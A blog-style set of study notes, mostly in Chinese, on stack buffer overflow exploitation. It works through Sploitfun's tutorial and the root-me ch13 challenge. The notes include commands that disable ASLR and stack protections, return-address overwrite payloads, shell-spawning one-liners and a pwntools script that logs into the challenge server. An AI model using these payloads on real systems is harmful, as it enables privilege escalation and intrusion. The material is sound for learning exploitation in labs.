PWN keep going

Sploitfun-Classic Stack Based Buffer Overflow

sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
关闭ASLR
具体可见https://blog.csdn.net/Plus_RE/article/details/79199772

gcc -pie Create a dynamically linked position independent executable.
Linux 平台通过 PIE 机制来负责代码段和数据段的随机化工作

gcc -g -fno-stack-protector -z execstack -o vuln vuln.c

加上-g选项以后,gcc在编译是会做以下额外的操作:

  1. 创建符号表,符号表包含了程序中使用的变量名称的列表。
  2. 关闭所有的优化机制,以便程序执行过程中严格按照原来的C代码进行。

-z execstack 禁用NX保护

详细的保护机制讲解
https://introspelliam.github.io/2017/09/30/pwn/linux%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%B8%B8%E7%94%A8%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6/

gdb -q
-q, –quiet, –silent
Do not print version number on startup.

gdb-peda$ r `python -c 'print "A"*300'`

gdb-peda$ help p

Print value of expression EXP.

gdb-peda$ p/x $rip

这个教程太老了,还是32位上的


*经典root-me *

ELF x86 - Stack buffer overflow basic 1

64 Bits Linux Stack Based Buffer Overflow

地址

So memory addresses are 64 bits long, but user space only uses
the first 47 bits; keep this in mind because if you specified an
address greater than 0x00007fffffffffff, you’ll raise an exception. So
that means that 0x4141414141414141 will raise exception, but the
address 0x0000414141414141 is safe.

64位下,用户空间只用低47位,所以不要超过0x00007fffffffffff

$./vuln $(python -c 'print "A"*300')

gdb-peda$ x/20xg $rsp

栈从高地址往低地址方向 扩展
溢出的时候,字符往高地址扩展


leave和ret

leave = mov esp,ebp ; pop ebp
ret = pop EIP

leave 执行后
指向返回地址
pop 将返回地址赋给 EIP

不能控制RIP

So the program ends and we’re not able to control RIP:( Why?Because we override too much bits, remember biggest address is 0x00007fffffffffff and we try to overflow using 0x4141414141414141

de08-dd00=0x108 ==264

小端序

gdb-peda$ r $(python -c 'print "A"*264+"B"*6')

ASLR 开起来了

输入是”A”*264+”ABCDEF”

0x7fffffffde28:    0x41    0x42    0x43    0x44    0x45    0x46    0x00    0x00

按序填充的

但有因为小端序,所以又倒序读入RIP
RIP: 0x464544434241 ('ABCDEF')


跳转到用户控制的地址

(显然没有开NX)

"A" * 264 + "\x7f\xff\xff\xff\xdc\x90"[::-1]

0x7fffffffdc90buf在栈中开始地址

We need to reverse the memory address because it’s a little endian architecture. That’sexactly what[::-1]does in python.
[::-1]逆序


本题考察了Unix基本输入输出流与缓冲

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>

int main()
{

int var;
int check = 0x04030201;
char buf[40];

fgets(buf,45,stdin);

printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);

if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way!\n");

if (check == 0xdeadbeef)
{
printf("Yeah dude! You win!\nOpening your shell...\n");
setreuid(geteuid(), geteuid());
system("/bin/bash");
printf("Shell closed! Bye.\n");
}
return 0;
}

标准输入后,还会跟上’\r\n’
fgets()读取45-1个字节,或者遇到’\n’停止
所以只是溢出4个字节即可,覆盖掉check
0xdeadbeef还需要逆序

但我不知道unix的输入输出流
payload:(python -c ‘print “a”*40+”DEADBEEF”.decode(“hex”)[::-1]’;cat) | ./ch13
得到shell后:cat .passwd


别人使用脚本编写的

1
2
3
4
5
6
7
8
9
# solution by MtucX
# Require pwntools
from pwn import *

pwn_socket=ssh(host='challenge02.root-me.org' ,user='app-systeme-ch13' ,password='app-systeme-ch13',port=2222)
pwned=pwn_socket.process(executable='./ch13')
pwned.sendline('A' * 40 + '\xef\xbe\xad\xde')
pwned.sendline('cat .passwd')
pwned.interactive()

关于unix系统输入输出流
stdio buffer
参考:http://showlinkroom.me/2017/11/20/Root-me-App-System01/

python -c 'print "a"*40+"\xef\xbe\xad\xde" + "\x00"*4052 + "cat .passwd"' | ./ch13

将stdin buffer填满,让数据不填入buffer中,留在外面。

(python -c 'print "a"*40+"\xef\xbe\xad\xde" '; cat ) | ./ch13

不让当前的数据流中断,不会让输入流关闭的指令,直接使用cat的功能为将输入流复制到输出流中。